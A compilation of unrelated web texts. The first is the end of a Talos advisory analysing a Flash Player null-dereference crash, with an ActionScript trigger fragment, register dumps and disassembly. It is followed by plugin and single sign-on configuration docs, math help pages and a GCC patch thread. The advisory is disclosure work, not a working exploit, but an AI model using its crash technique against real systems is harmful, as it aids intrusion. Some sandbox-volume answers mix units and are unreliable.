try { obj_URIError0 = new URIError( specObj2, null ); } catch(e:Error){}
func7();
}
}
The above code is broken down in a few steps:
1. specObj2 has its toString method overloaded with func7.
..* toString() gets called implicitly when type coercion to string is required.
2. obj_URIError0 is constructed with specObj2 as first argument
..* Constructor is public function URIError(message:String = "")
3. func7() is called directly.
4. In func7() , obj_URIError0.toString() is called first, which ends up calling specObj2.toString() implicitly.
..* Since specObj2.toString() is actually func7() this would create infinite recursion and the rest of that function should never get executed.
5. After a number of recursive calls, an upper recursion limit will get hit
..* Then second line in func7() gets executed leading to a crash
6. Flash crashes when trying to dereference Math.PI.
Above example is using objects of type UriError, ByteArray, and Math, but other combinations are possible. Most combinations end up crashing as straight forward null pointer dereferences but Math constants are somewhat special. We can observe the following crash when Math.PI is being dereferenced:
eax=00000000 ebx=00002000 ecx=052d73a0 edx=07f3c240 esi=05312880 edi=000505b0
eip=05fa8589 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
05fa8589 f30f7e4050 movq xmm0,mmword ptr [eax+50h] ds:0023:00000050=????????????????
Note that the crash happens in the JITed code which is generated based on the actionscript bytecode. Above crash is still a null pointer dereference but what makes it slightly more interesting is the fact that varying the constant in use gives us limited control over the offset in the JITed code. For example, using Math.SQRT2 instead of Math.PI gives:
eax=00000000 ebx=00002000 ecx=052b63a0 edx=07d7a240 esi=05311880 edi=000505b0
eip=05fb1577 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
05fb1577 f30f7e4060 movq xmm0,mmword ptr [eax+60h] ds:0023:00000060=????????????????
So, by varying the constant, we can vary the offset in the JITed code, but unfortunately as expected, in case of Math the highest offset is with SQRT2 (0x60) which is still far too low to be of any use.
Slight variations of the crashing piece of actionscript code yield slightly different results. For example:
try { obj_ByteArray8.writeDouble ( Math[0x41414141]); } catch(e:Error){}
Even though not strictly valid, the above code produces slightly more interesting assembly when JITed and crashes here: 00a52a2d 8b44240c mov eax,dword ptr [esp+0Ch] 00a52a31 8bcb mov ecx,ebx 00a52a33 83e1f8 and ecx,0FFFFFFF8h 00a52a36 8b11 mov edx,dword ptr [ecx] <=== CRASH 00a52a38 8b5244 mov edx,dword ptr [edx+44h] 00a52a3b 50 push eax 00a52a3c ffd2 call edx 00a52a3e 5b pop ebx 00a52a3f c20800 ret 8
Still a null pointer dereference, but this time near a call instruction and with eax fully controlled:
eax=41414141 ebx=00000001 ecx=00000000 edx=07ecb240 esi=05312880 edi=000505b0
eip=00a52a36 esp=000503b0 ebp=000504e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
flash!IAEModule_IAEKernel_UnloadModule+0x1ccfa6:
00a52a36 8b11 mov edx,dword ptr [ecx] ds:0023:00000000=????????
By digging into the preceding code, we can see the following:
05fb04d8 e833c6acfa call flash!IAEModule_IAEKernel_UnloadModule+0x1f7080 (00a7cb10) [1]
05fb04dd 8bc8 mov ecx,eax
05fb04df c745c437000000 mov dword ptr [ebp-3Ch],37h
05fb04e6 8b4110 mov eax,dword ptr [ecx+10h] [2]
05fb04e9 c745c439000000 mov dword ptr [ebp-3Ch],39h
05fb04f0 b919424063 mov ecx,63404219h
05fb04f5 81f158030122 xor ecx,22010358h
05fb04fb c745c43b000000 mov dword ptr [ebp-3Ch],3Bh
05fb0502 8d4001 lea eax,[eax+1] [3]
05fb0505 83ec08 sub esp,8
05fb0508 51 push ecx
05fb0509 50 push eax [4]
05fb050a 8b8d10ffffff mov ecx,dword ptr [ebp-0F0h]
05fb0510 e80b25aafa call flash!IAEModule_IAEKernel_UnloadModule+0x1ccf90 (00a52a20)
We can see that NULL being dereferenced at the time of the crash comes indirectly from the first call above and second argument (0x41414141) is put into ecx directly and pushed to the stack. The part with the xor is just an artifact of “constant blinding” JIT spray mitigation. So, in the above code, function 00a7cb10, at [1], will return a pointer in eax, which gets read at [2] (this sets eax to NULL). Then it gets incremented at [3] and pushed to the stack at [4]. Later, in the function 00a52a20 this NULL pointer is dereferenced and the process crashes due to ReadAV.
That being said, the working hypothesis is that hitting a recursion limit sets the process in an irregular state, then, since the exception is inhibited by the try/catch block, code continues with execution in this exceptional state which leads to an invalid dereference when retrieving the Math object further leading to a crash.
Above examples use Math constants to demonstrate limited control over the dereference offset. It could be possible that a special object could be crafted which would allow for bigger offsets turning this into an arbitrary read access violation which could be further abused.
Credit
Discovered by Aleksandar Nikolic of Cisco Talos.
Timeline
2016-04-28 - Vendor Disclosure
2016-06-14 - Public Release
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Skip to main content
Working with plugins
Pioreactor plugins are a way to distribute code to others (or yourself), and avoid having to use the command line each time you invoke your custom code - you should be able to just use the web interface.
There are two ways to distribute a plugin:
1. Adding Python files to plugins folder
On each Pioreactor's Raspberry Pi is a folder at /home/pioreactor/.pioreactor/plugins. When the Pioreactor software starts, any Python files in this folder are read and loaded into memory. If you were to include an automation in here, or a background job (with the click CLI component), they would be available globally.
Why would you want to distribute code this way? It's a great way to test or develop your code instead of committing to other distribution methods: short iterations times, tight feedback loop, and code runs in the production environment. Two downsides are that it's harder to distribute your code to the rest of the community, and that it doesn't have the same deployment pipeline (adding configs, etc.)
caution
The Pioreactor software will load and run each Python file in /plugins on each invocation of pio. Don't have long-running or blocking code without wrapping it in a function or if __name__ == "__main__". For example:
# my plugin code.py
#❌ don't do this
import time
time.sleep(100)
# ✅ this is okay
import time
def sleep():
time.sleep(100)
# ✅ also is okay
import time
if __name__ == "__main__":
time.sleep(100)
Custom background jobs
Here's an example: place the following code into the file /home/pioreactor/.pioreactor/plugins/demo_job.py
# -*- coding: utf-8 -*-
import click
from pioreactor.whoami import get_unit_name, get_latest_experiment_name
from pioreactor.background_jobs.base import BackgroundJob
__plugin_summary__ = "Just a demo job"
__plugin_version__ = "0.0.1"
__plugin_name__ = "Demo job"
__plugin_author__ = "Cam Davidson-Pilon"
__plugin_homepage__ = "https://docs.pioreactor.com"
class DemoJob(BackgroundJob):
job_name="demo_job"
def __init__(self, unit, experiment, **kwargs):
super().__init__(unit=unit, experiment=experiment)
def on_ready(self):
self.logger.debug("Hello, world!")
def on_disconnect(self):
self.logger.debug("Goodbye, world!")
@click.command(name="demo_job", help=__plugin_summary__)
def click_demo_job():
job = DemoJob(
unit=get_unit_name(),
experiment=get_latest_experiment_name(),
)
job.block_until_disconnected()
You should be able to execute the following from the command line now: pio run demo_job.
Finally, in your web interface under plugins, you should see "Demo Job" installed.
info
How do you add this to your /pioreactors page in the UI? See here.
Custom scripts
If you are interested in creating a Python script to control multiple jobs, like in a previous Python scripting example, you can create a file called example_script.py in the /home/pioreactor/.pioreactor/plugins/ folder:
import time
import click
from pioreactor.background_jobs.stirring import start_stirring
from pioreactor.background_jobs.od_reading import start_od_reading
from pioreactor.actions.led_intensity import led_intensity
from pioreactor.background_jobs.temperature_control import start_temperature_control
__plugin_summary__ = "My example script to control stirring, OD and temperature"
__plugin_version__ = "0.0.1"
__plugin_name__ = "Example Script"
__plugin_author__ = "Cam Davidson-Pilon"
__plugin_homepage__ = "https://docs.pioreactor.com"
@click.command(name="my_script", help=__plugin_summary__) # the name field is used in the invocation `pio run X`
def click_my_script():
led_intensity({"B": 50})
stirrer = start_stirring(target_rpm=400)
od_reader = start_od_reading("90", "REF")
temp_controller = start_temperature_control("thermostat", target_temperature=32)
time.sleep(10)
stirrer.set_target_rpm(300)
stirrer.block_until_disconnected()
You should be able to execute the following from the command line now: pio run my_script. (The my_script is from the @click.command line, you can change it there).
info
The function that click.command wraps should have it's name prepended by click_. Ex: def click_my_script is okay, but def my_script is not.
info
How do you add this to your /pioreactors page in the UI? See here.
Custom automations
Here's an example of adding a custom automation: place the following code into the file /home/pioreactor/.pioreactor/plugins/demo_automation.py
# -*- coding: utf-8 -*-
from pioreactor.automations.dosing.base import DosingAutomationContrib
__plugin_summary__ = "A demo dosing automation"
__plugin_version__ = "0.0.1"
__plugin_name__ = "Demo Dosing Automation"
__plugin_author__ = "Cam Davidson-Pilon"
__plugin_homepage__ = "https://docs.pioreactor.com"
class DemoAutomation(DosingAutomationContrib):
automation_name = "demo"
def __init__(self, volume, **kwargs):
super().__init__(**kwargs)
self.volume = volume
def execute(self):
self.logger("Here I would execute...")
You should be able to execute the following from the command line now:
pio run dosing_control --automation-name demo --volume 10
info
How do you add this to your /pioreactors page in the UI? See here.
2. pip-installable plugins
An alternative to placing Python files in the plugins folder is to bundle your code into a Python package that can be installed over the internet. This is the best way to ship your code to many users, and is pretty easy! We have a full guide on how to create a Pioreactor Python package.
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Answers
Solutions by everydaycalculation.com
Answers.everydaycalculation.com » Multiply fractions
Multiply 25/75 with 14/63
This multiplication involving fractions can also be rephrased as "What is 25/75 of 14/63?"
25/75 × 14/63 is 2/27.
Steps for multiplying fractions
1. Simply multiply the numerators and denominators separately:
2. 25/75 × 14/63 = 25 × 14/75 × 63 = 350/4725
3. After reducing the fraction, the answer is 2/27
MathStep (Works offline)
Download our mobile app and learn to work with fractions in your own time:
Android and iPhone/ iPad
Related:
© everydaycalculation.com
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Chapter 17. Using a Vault to Obtain Secrets
Several fields in the administration support obtaining the value of a secret from an external vault.
To obtain a secret from a vault instead of entering it directly, enter the following specially crafted string into the appropriate field: ${vault.key} where you replace the key with the name of the secret as recognized by the vault.
In order to prevent secrets from leaking across realms, implementations may combine the realm name with the key obtained from the vault expression. This means that the key won’t directly map to an entry in the vault, but rather be used to create the final entry name according to the algorithm used to combine it with the realm name.
Currently, the secret can be obtained from the vault in the following fields:
SMTP password
In realm SMTP settings
LDAP bind credential
In LDAP settings of LDAP-based user federation.
OIDC identity provider secret
In Client Secret inside identity provider OpenID Connect Config
To use a vault, a vault provider must be registered within Red Hat Single Sign-On. It is possible to either use a built-in provider described below or implement your own provider. See the Server Developer Guide for more information.
Note
There is at most one vault provider active per Red Hat Single Sign-On instance at any given time, and the vault provider in each instance within the cluster has to be configured consistently.
17.1. Kubernetes / OpenShift Files Plaintext Vault Provider
Red Hat Single Sign-On supports vault implementation for Kubernetes secrets. These secrets can be mounted as data volumes, and they appear as a directory with a flat file structure, where each secret is represented by a file whose name is the secret name, and contents of that file is the secret value.
The files within this directory have to be named as secret name prefixed by realm name and an underscore. All underscores within the secret name or the realm name have to be doubled in the file name. For example, for a field within a realm called sso_realm, a reference to a secret with name secret-name would be written as ${vault.secret-name}, and the file name looked up would be sso__realm_secret-name (note the underscore doubled in realm name).
To use this type of secret store, you have to declare the files-plaintext vault provider in standalone.xml, and set its parameter for the directory that contains the mounted volume. The following example shows the files-plaintext provider with the directory where vault files are searched for set to standalone/configuration/vault relative to Red Hat Single Sign-On base directory:
<spi name="vault">
<default-provider>files-plaintext</default-provider>
<provider name="files-plaintext" enabled="true">
<properties>
<property name="dir" value="${jboss.home.dir}/standalone/configuration/vault/" />
</properties>
</provider>
</spi>
Here is the equivalent configuration using CLI commands:
/subsystem=keycloak-server/spi=vault/:add
/subsystem=keycloak-server/spi=vault/provider=files-plaintext/:add(enabled=true,properties={dir => "${jboss.home.dir}/standalone/configuration/vault"})
17.2. Elytron Credential Store Vault Provider
Red Hat Single Sign-On also provides support for reading secrets stored in an Elytron credential store. The elytron-cs-keystore vault provider is capable of retrieving secrets from the keystore-based implementation of the credential store, which is also the default implementation provided by Elytron.
This credential store is backed by a keystore (JCEKS is the default format, but it is possible to use other formats such as PKCS12) and users can create and manage the store contents using either the elytron subsystem in WildFly/JBoss EAP, or using the elytron-tool.sh script.
To use this provider, you have to declare the elytron-cs-keystore in the keycloak-server subsystem and set the location and master secret of the keystore that was created by Elytron. An example of the minimal configuration for the provider follows:
<spi name="vault">
<default-provider>elytron-cs-keystore</default-provider>
<provider name="elytron-cs-keystore" enabled="true">
<properties>
<property name="location" value="${jboss.home.dir}/standalone/configuration/vault/credential-store.jceks" />
<property name="secret" value="secretpw1!"/>
</properties>
</provider>
</spi>
If the underlying keystore has a format other than JCEKS, this format has to be informed using the keyStoreType:
<spi name="vault">
<default-provider>elytron-cs-keystore</default-provider>
<provider name="elytron-cs-keystore" enabled="true">
<properties>
<property name="location" value="${jboss.home.dir}/standalone/configuration/vault/credential-store.p12" />
<property name="secret" value="secretpw1!"/>
<property name="keyStoreType" value="PKCS12"/>
</properties>
</provider>
</spi>
For the secret, the elytron-cs-keystore provider supports both clear-text values (as shown above) and also values that were masked using the elytron-tool.sh script:
<spi name="vault">
...
<property name="secret" value="MASK-3u2HNQaMogJJ8VP7J6gRIl;12345678;321"/>
...
</spi>
For more detailed information on how to create/manage elytron credential stores, as well as how to mask keystore secrets, please refer to the Elytron documentation.
Note
The elytron-cs-keystore vault provider has been implemented as a WildFly extension and as such is only available if the Red Hat Single Sign-On server runs on WildFly/JBoss EAP.
17.3. Key Resolvers
All built-in providers support the configuration of one or more key resolvers. A key resolver essentially implements the algorithm or strategy for combining the realm name with the key (as obtained from the ${vault.key} expression} into the final entry name that will be used to retrieve the secret from the vault. The keyResolvers property is used to configure the resolvers that are to be used by the provider. The value is a comma-separated list of resolver names. An example of configuration for the files-plaintext provider follows:
<spi name="vault">
<default-provider>files-plaintext</default-provider>
<provider name="files-plaintext" enabled="true">
<properties>
<property name="dir" value="${jboss.home.dir}/standalone/configuration/vault/" />
<property name="keyResolvers" value="REALM_UNDERSCORE_KEY, KEY_ONLY"/>
</properties>
</provider>
</spi>
The resolvers are executed in the same order that they are declared in the configuration. For each resolver, the final entry name produced by the resolver that combines the realm with the vault key is used to search for the secret in the vault. If a secret is found, it is immediately returned. If not, the next resolver is used and this continues until a non-empty secret is found or all resolvers have been tried, in which case an empty secret is returned. In the example above, first the REALM_UNDERSCORE_KEY resolver is used. If an entry is found in the vault with the name it produces, it is returned. If not, then the KEY_ONLY resolver is used. Again, if an entry is found in the vault with the name it produces, it is returned. If not, an empty secret is returned since there are no more resolvers to be used.
A list of the currently available resolvers follows:
• KEY_ONLY: the realm name is ignored and the key from the vault expression is used as is.
• REALM_UNDERSCORE_KEY: the realm and key are combined using an underscore _ character. Occurrences of underscore in either the realm or key are escaped by another underscore character. So if the realm is called master_realm and the key is smtp_key, the combined key will be master__realm_smtp__key.
• REALM_FILESEPARATOR_KEY: the realm and key are combined using the platform file separator character. This is useful in situations where the keys are grouped by realm using a directory structure.
If no resolver is configured for the built-in providers, the REALM_UNDERSCORE_KEY is selected by default.
17.4. Sample Configuration
The following is an example of configuring a vault and credential store. The procedure involves two parts:
• Creating the credential store and a vault, where the credential store and vault passwords are in plain text.
• Updating the credential store and vault to have the password use a mask provided by elytron-tool.sh.
In this example, the test target used is an LDAP instance with BIND DN credential: secret12. The target is mapped using user federation in the realm ldaptest.
17.4.1. Configuring the credential store and vault without a mask
You create the credential store and a vault where the credential store and vault passwords are in plain text.
Prerequisites
• A running LDAP instance has BIND DN credential: secret12.
• The alias uses the format <realm-name>_< key-value> when using the default key resolver. In this case, the instance is running in the realm ldaptest and ldaptest_ldap_secret is the alias that corresponds to the value ldap_secret in that realm.
Note
The resolver replaces underscore characters with double underscore characters in the realm and key names. For example, for the key ldaptest_ldap_secret, the final key will be ldaptest_ldap__secret.
Procedure
1. Create the Elytron credential store.
[standalone@localhost:9990 /] /subsystem=elytron/credential-store=test-store:add(create=true, location=/home/test/test-store.p12, credential-reference={clear-text=testpwd1!},implementation-properties={keyStoreType=PKCS12})
2. Add an alias to the credential store.
/subsystem=elytron/credential-store=test-store:add-alias(alias=ldaptest_ldap__secret,secret-value=secret12)
Notice how the resolver causes the key ldaptest_ldap__secret to use double underscores.
3. List the aliases from the credential store to inspect the contents of the keystore that is produced by Elytron.
keytool -list -keystore /home/test/test-store.p12 -storetype PKCS12 -storepass testpwd1!
Keystore type: PKCS12
Keystore provider: SUN
Your keystore contains 1 entries
ldaptest_ldap__secret/passwordcredential/clear/, Oct 12, 2020, SecretKeyEntry,
4. Configure the vault SPI in Red Hat Single Sign-On.
/subsystem=keycloak-server/spi=vault:add(default-provider=elytron-cs-keystore)
/subsystem=keycloak-server/spi=vault/provider=elytron-cs-keystore:add(enabled=true, properties={location=>/home/test/test-store.p12, secret=>testpwd1!, keyStoreType=>PKCS12})
At this point, the vault and credentials store passwords are not masked.
<spi name="vault">
<default-provider>elytron-cs-keystore</default-provider>
<provider name="elytron-cs-keystore" enabled="true">
<properties>
<property name="location" value="/home/test/test-store.p12"/>
<property name="secret" value="testpwd1!"/>
<property name="keyStoreType" value="PKCS12"/>
</properties>
</provider>
</spi>
<credential-stores>
<credential-store name="test-store" location="/home/test/test-store.p12" create="true">
<implementation-properties>
<property name="keyStoreType" value="PKCS12"/>
</implementation-properties>
<credential-reference clear-text="testpwd1!"/>
</credential-store>
</credential-stores>
5. In the LDAP provider, replace binDN credential with ${vault.ldap_secret}.
6. Test your LDAP connection.
LDAP Vault
LDAP Vault
17.4.2. Masking the password in the credential store and vault
You can now update the credential store and vault to have passwords that use a mask provided by elytron-tool.sh.
1. Create a masked password using values for the salt and the iteration parameters:
$ EAP_HOME/bin/elytron-tool.sh mask --salt SALT --iteration ITERATION_COUNT --secret PASSWORD
For example:
elytron-tool.sh mask --salt 12345678 --iteration 123 --secret testpwd1!
MASK-3BUbFEyWu0lRAu8.fCqyUk;12345678;123
2. Update the Elytron credential store configuration to use the masked password.
/subsystem=elytron/credential-store=cs-store:write-attribute(name=credential-reference.clear-text,value="MASK-3BUbFEyWu0lRAu8.fCqyUk;12345678;123")
3. Update the Red Hat Single Sign-On vault configuration to use the masked password.
/subsystem=keycloak-server/spi=vault/provider=elytron-cs-keystore:remove()
/subsystem=keycloak-server/spi=vault/provider=elytron-cs-keystore:add(enabled=true, properties={location=>/home/test/test-store.p12, secret=>”MASK-3BUbFEyWu0lRAu8.fCqyUk;12345678;123”, keyStoreType=>PKCS12})
The vault and credential store are now masked:
<spi name="vault">
<default-provider>elytron-cs-keystore</default-provider>
<provider name="elytron-cs-keystore" enabled="true">
<properties>
<property name="location" value="/home/test/test-store.p12"/>
<property name="secret" value="MASK-3BUbFEyWu0lRAu8.fCqyUk;12345678;123"/>
<property name="keyStoreType" value="PKCS12"/>
</properties>
</provider>
</spi>
....
.....
<credential-stores>
<credential-store name="test-store" location="/home/test/test-store.p12" create="true">
<implementation-properties>
<property name="keyStoreType" value="PKCS12"/>
</implementation-properties>
<credential-reference clear-text="MASK-3BUbFEyWu0lRAu8.fCqyUk;12345678;123"/>
</credential-store>
</credential-stores>
4. You can now test the connection to the LDAP using ${vault.ldap_secret}.
Additional resources
For more information about the Elytron tool, see Using Credential Stores with Elytron Client.
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How much sand is in a sand box?
To find out how much sand to put into a sand box, or how much sand is in a sand box, measure length x width x height to get a cubic volume number. Lets say you have a sand box that measures, 41 inches by 64 inches, with 12 inches deep of sand, (The child likes to dig!!) you would have yourself there, 31,488 cubic inches of sand. However, you want to know what the volume is in cubic yards. Well then, divide 31,488 cubic inches by 46,656 cubic inches per yard, and you get, some number like, 0.6748971193 cubic yards. Lets just call it 0.70 cubic yards of sand.
How many cubic inches of sand can a cardboard box measureing 12 inches long by 14 inches wide by 10 inches tall contain?
1680 cubic inches
The sandbox at the local elemenatry school is 60 inches wide and 100 inches long the sand in the box is 6 inches deep how many cubic inches of sand are in the sandbox?
(60" x 100" x 6") = 36,000 cubic inches
The base of a sandbox at a home is 6 feet long and 4 and a half feet wide If eighteen cubic feet of sand is spread evenly in the sandbox how deep will the sand be?
Assuming the box was empty to begin with there will be 8 inches of sand now.
What is the volume of a sand box if it is 6 feet wide and 5 foot long and 6 inches deep?
that's not geometry. 6*6*5=180 in^2
The box is 8 inches long 8 inches wide and 8 inches tall.what is the surface area of the box?
384 square inches
The diagonal of a rectangular box is 12 inches long One side of the box is 8 inches long What is the length of the other side?
8.9
I want to have some sand dumped in our backyard but the local sand man will only deliver 6 yards which seems like a lot of sand how big is 6 yards os sand?
Think of a box about 5ft 6 inches tall, 5ft 6 inches wide and 5ft 6 inches deep filled with sand. That's about 6 cubic yards.
What is the measurement of a box that is 80 linear inches long?
80 inches
If a box is 18 inches thick by 28 inches wide by 30 inches long what is the linear inches?
It depends on the context, but for airlines luggage, it would count as 18+28+30 = 76 inches
How many yards of sand do you need to fill a sand box 16ft wide by 40ft x 6 inches deep?
12 sq yds
A box was 11 inches long and 10 inches wide it volume was 1320 cubic inches what was the height of the box?
1320/(110) = 12in
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RD Sharma Mathematics Class 8 by R D Sharma (2019-2020 Session)
Mathematics for Class 8 by R D Sharma (2019-2020 Session) - Shaalaa.com
Chapter 5: Playing with Numbers
Ex. 5.10Ex. 5.20Ex. 5.30
Chapter 5: Playing with Numbers Exercise 5.10 solutions [Page 5]
Ex. 5.10 | Q 1 | Page 5
Without performing actual addition and division write the quotient when the sum of 69 and 96 is divided by
(i) 11
(ii) 15
Ex. 5.10 | Q 2 | Page 5
Without performing actual computations, find the quotient when 94 − 49 is divided by
(i) 9
(ii) 5
Ex. 5.10 | Q 3 | Page 5
If sum of the number 985 and two other numbers obtained by arranging the digits of 985 in cyclic order is divided by 111, 22 and 37 respectively. Find the quotient in each case.
Ex. 5.10 | Q 4 | Page 5
Find the quotient when the difference of 985 and 958 is divided by 9.
Chapter 5: Playing with Numbers Exercise 5.20 solutions [Page 20]
Ex. 5.20 | Q 1 | Page 20
Given that the number \[\overline{{35\alpha64}}\] is divisible by 3, where α is a digit, what are the possible values of α?
Ex. 5.20 | Q 2 | Page 20
If x is a digit such that the number \[\overline{{18x71}}\] is divisible by 3, find possible values of x.
Ex. 5.20 | Q 3 | Page 20
If x is a digit of the number \[\overline {{66784x}}\] such that it is divisible by 9, find possible values of x.
Ex. 5.20 | Q 4 | Page 20
Given that the number \[\overline{{67y19}}\] is divisible by 9, where y is a digit, what are the possible values of y?
Ex. 5.20 | Q 5 | Page 20
If \[\overline{{3x2}}\] is a multiple of 11, where x is a digit, what is the value of x?
Ex. 5.20 | Q 6 | Page 20
If \[\overline{{98215x2}}\] is a number with x as its tens digit such that is is divisible by 4. Find all possible values of x.
Ex. 5.20 | Q 7 | Page 20
If x denotes the digit at hundreds place of the number \[\overline{{67x19}}\] such that the number is divisible by 11. Find all possible values of x.
Ex. 5.20 | Q 8 | Page 20
Find the remainder when 51439786 is divided by 3. Do this without performing actual division.
Ex. 5.20 | Q 9 | Page 20
Find the remainder when 51439786 is divided by 3. Do this without performing actual division.
Ex. 5.20 | Q 10 | Page 20
Find the remainder, without performing actual division, when 798 is divided by 11.
Ex. 5.20 | Q 11 | Page 20
Without performing actual division, find the remainder when 928174653 is divided by 11.
Ex. 5.20 | Q 12.1 | Page 20
Given an example of a number which is divisible by 2 but not by 4.
Ex. 5.20 | Q 12.2 | Page 20
Given an example of a number which is divisible by 3 but not by 6.
Ex. 5.20 | Q 12.3 | Page 20
Given an example of a number which is divisible by 4 but not by 8.
Ex. 5.20 | Q 12.4 | Page 20
Given an example of a number which is divisible by both 4 and 8 but not by 32.
Ex. 5.20 | Q 13.01 | Page 20
Which of the following statement is true?
If a number is divisible by 3, it must be divisible by 9.
• True
• False
Ex. 5.20 | Q 13.02 | Page 20
Which of the following statement is true?
If a number is divisible by 9, it must be divisible by 3.
• True
• False
Ex. 5.20 | Q 13.03 | Page 20
Which of the following statement is true?
If a number is divisible by 4, it must be divisible by 8.
• True
• False
Ex. 5.20 | Q 13.04 | Page 20
Which of the following statement is true?
If a number is divisible by 8, it must be divisible by 4.
• True
• False
Ex. 5.20 | Q 13.05 | Page 20
Which of the following statement is true?
A number is divisible by 18, if it is divisible by both 3 and 6.
• True
• False
Ex. 5.20 | Q 13.06 | Page 20
Which of the following statement is true?
If a number is divisible by both 9 and 10, it must be divisible by 90.
• True
• False
Ex. 5.20 | Q 13.07 | Page 20
Which of the following statement is true?
If a number exactly divides the sum of two numbers, it must exactly divide the numbers separately.
• True
• False
Ex. 5.20 | Q 13.08 | Page 20
Which of the following statement is true?
If a number divides three numbers exactly, it must divide their sum exactly.
• True
• False
Ex. 5.20 | Q 13.09 | Page 20
Which of the following statement is true?
If two numbers are co-prime, at least one of them must be a prime number.
• True
• False
Ex. 5.20 | Q 13.1 | Page 20
Which of the following statement is true?
The sum of two consecutive odd numbers is always divisible by 4.
• True
• False
Chapter 5: Playing with Numbers Exercise 5.30 solutions [Page 30]
Ex. 5.30 | Q 1 | Page 30
Solve each of the following Cryptarithms:
3 7
+ A B
9 A
Ex. 5.30 | Q 2 | Page 30
Solve each of the following Cryptarithm:
A B
+3 7
9 A
Ex. 5.30 | Q 3 | Page 30
Solve each of the following Cryptarithm:
A 1
+ 1 B
B 0
Ex. 5.30 | Q 4 | Page 30
Solve each of the following Cryptarithm:
2 A B
+ A B 1
B 1 8
Ex. 5.30 | Q 5 | Page 30
Solve each of the following Cryptarithm:
1 2 A
+ 6 A B
A 0 9
Ex. 5.30 | Q 6 | Page 30
Solve each of the following Cryptarithm:
A B 7
+ 7 A B
9 8 A
Ex. 5.30 | Q 7 | Page 30
Show that the Cryptarithm
\[4 \times \overline{{AB}} = \overline{{CAB}}\] does not have any solution.
Chapter 5: Playing with Numbers
Ex. 5.10Ex. 5.20Ex. 5.30
RD Sharma Mathematics Class 8 by R D Sharma (2019-2020 Session)
Mathematics for Class 8 by R D Sharma (2019-2020 Session) - Shaalaa.com
RD Sharma solutions for Class 8 Mathematics chapter 5 - Playing with Numbers
RD Sharma solutions for Class 8 Maths chapter 5 (Playing with Numbers) include all questions with solution and detail explanation. This will clear students doubts about any question and improve application skills while preparing for board exams. The detailed, step-by-step solutions will help you understand the concepts better and clear your confusions, if any. Shaalaa.com has the CBSE Mathematics for Class 8 by R D Sharma (2019-2020 Session) solutions in a manner that help students grasp basic concepts better and faster.
Further, we at Shaalaa.com provide such solutions so that students can prepare for written exams. RD Sharma textbook solutions can be a core help for self-study and acts as a perfect self-help guidance for students.
Concepts covered in Class 8 Mathematics chapter 5 Playing with Numbers are Tests of Divisibility - Divisibility by 5, Numbers in General Form, Games with Numbers, Letters for Digits, Tests of Divisibility - Divisibility by 10, Tests of Divisibility - Divisibility by 2, Tests of Divisibility - Divisibility by 9 and 3.
Using RD Sharma Class 8 solutions Playing with Numbers exercise by students are an easy way to prepare for the exams, as they involve solutions arranged chapter-wise also page wise. The questions involved in RD Sharma Solutions are important questions that can be asked in the final exam. Maximum students of CBSE Class 8 prefer RD Sharma Textbook Solutions to score more in exam.
Get the free view of chapter 5 Playing with Numbers Class 8 extra questions for Maths and can use Shaalaa.com to keep it handy for your exam preparation
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[PATCH v3 1/4] Fix loop split incorrect count and probability
Xionghu Luo [email protected]
Mon Nov 8 06:09:35 GMT 2021
On 2021/10/27 15:44, Jan Hubicka wrote:
>> On Wed, 27 Oct 2021, Jan Hubicka wrote:
>>
>>>>
>>>> gcc/ChangeLog:
>>>>
>>>> * tree-ssa-loop-split.c (split_loop): Fix incorrect probability.
>>>> (do_split_loop_on_cond): Likewise.
>>>> ---
>>>> gcc/tree-ssa-loop-split.c | 25 ++++++++++++++++---------
>>>> 1 file changed, 16 insertions(+), 9 deletions(-)
>>>>
>>>> diff --git a/gcc/tree-ssa-loop-split.c b/gcc/tree-ssa-loop-split.c
>>>> index 3f6ad046623..d30782888f3 100644
>>>> --- a/gcc/tree-ssa-loop-split.c
>>>> +++ b/gcc/tree-ssa-loop-split.c
>>>> @@ -575,7 +575,11 @@ split_loop (class loop *loop1)
>>>> stmts2);
>>>> tree cond = build2 (guard_code, boolean_type_node, guard_init, border);
>>>> if (!initial_true)
>>>> - cond = fold_build1 (TRUTH_NOT_EXPR, boolean_type_node, cond);
>>>> + cond = fold_build1 (TRUTH_NOT_EXPR, boolean_type_node, cond);
>>>> +
>>>> + edge true_edge = EDGE_SUCC (bbs[i], 0)->flags & EDGE_TRUE_VALUE
>>>> + ? EDGE_SUCC (bbs[i], 0)
>>>> + : EDGE_SUCC (bbs[i], 1);
>>>>
>>>> /* Now version the loop, placing loop2 after loop1 connecting
>>>> them, and fix up SSA form for that. */
>>>> @@ -583,10 +587,10 @@ split_loop (class loop *loop1)
>>>> basic_block cond_bb;
>>>>
>>>> class loop *loop2 = loop_version (loop1, cond, &cond_bb,
>>>> - profile_probability::always (),
>>>> - profile_probability::always (),
>>>> - profile_probability::always (),
>>>> - profile_probability::always (),
>>>> + true_edge->probability,
>>>> + true_edge->probability.invert (),
>>>> + true_edge->probability,
>>>> + true_edge->probability.invert (),
>>>> true);
>>>
>>> As discussed yesterday, for loop of form
>>>
>>> for (...)
>>> if (cond)
>>> cond = something();
>>> else
>>> something2
>>>
>>> Split as
>>
>> Note that you are missing to conditionalize loop1 execution
>> on 'cond' (not sure if that makes a difference).
> You are right - forgot to mention that.
>
> Entry conditional makes no difference on scaling stmts inside loop but
> affects its header and expected trip count. We however need to set up
> probability of this conditional (and preheader count if it exists)
> There is no general way to read the probability of this initial
> conditional from cfg profile. So I guess we are stuck with guessing
> some arbitrary value. I guess common case is that cond is true first
> iteration tough and often we can easily see that fromo PHI node
> initializing the test variable.
>
> Other thing that changes is expected number of iterations of the split
> loops, so we may want to update the exit conditinal probability
> accordingly...
>
Sorry for the late reply. The below updated patch mainly solves the issues
you pointed out:
- profile count proportion for both original loop and copied loop
without dropping down the true branch's count;
- probability update in the two loops and between the two loops;
- number of iterations update/check for split_loop.
[PATCH v3] Fix loop split incorrect count and probability
In tree-ssa-loop-split.c, split_loop and split_loop_on_cond does two
kind of split. split_loop only works for single loop and insert edge at
exit when split, while split_loop_on_cond is not limited to single loop
and insert edge at latch when split. Both split behavior should consider
loop count and probability update. For split_loop, loop split condition
is moved in front of loop1 and loop2; But split_loop_on_cond moves the
condition between loop1 and loop2, this patch does:
1) profile count proportion for both original loop and copied loop
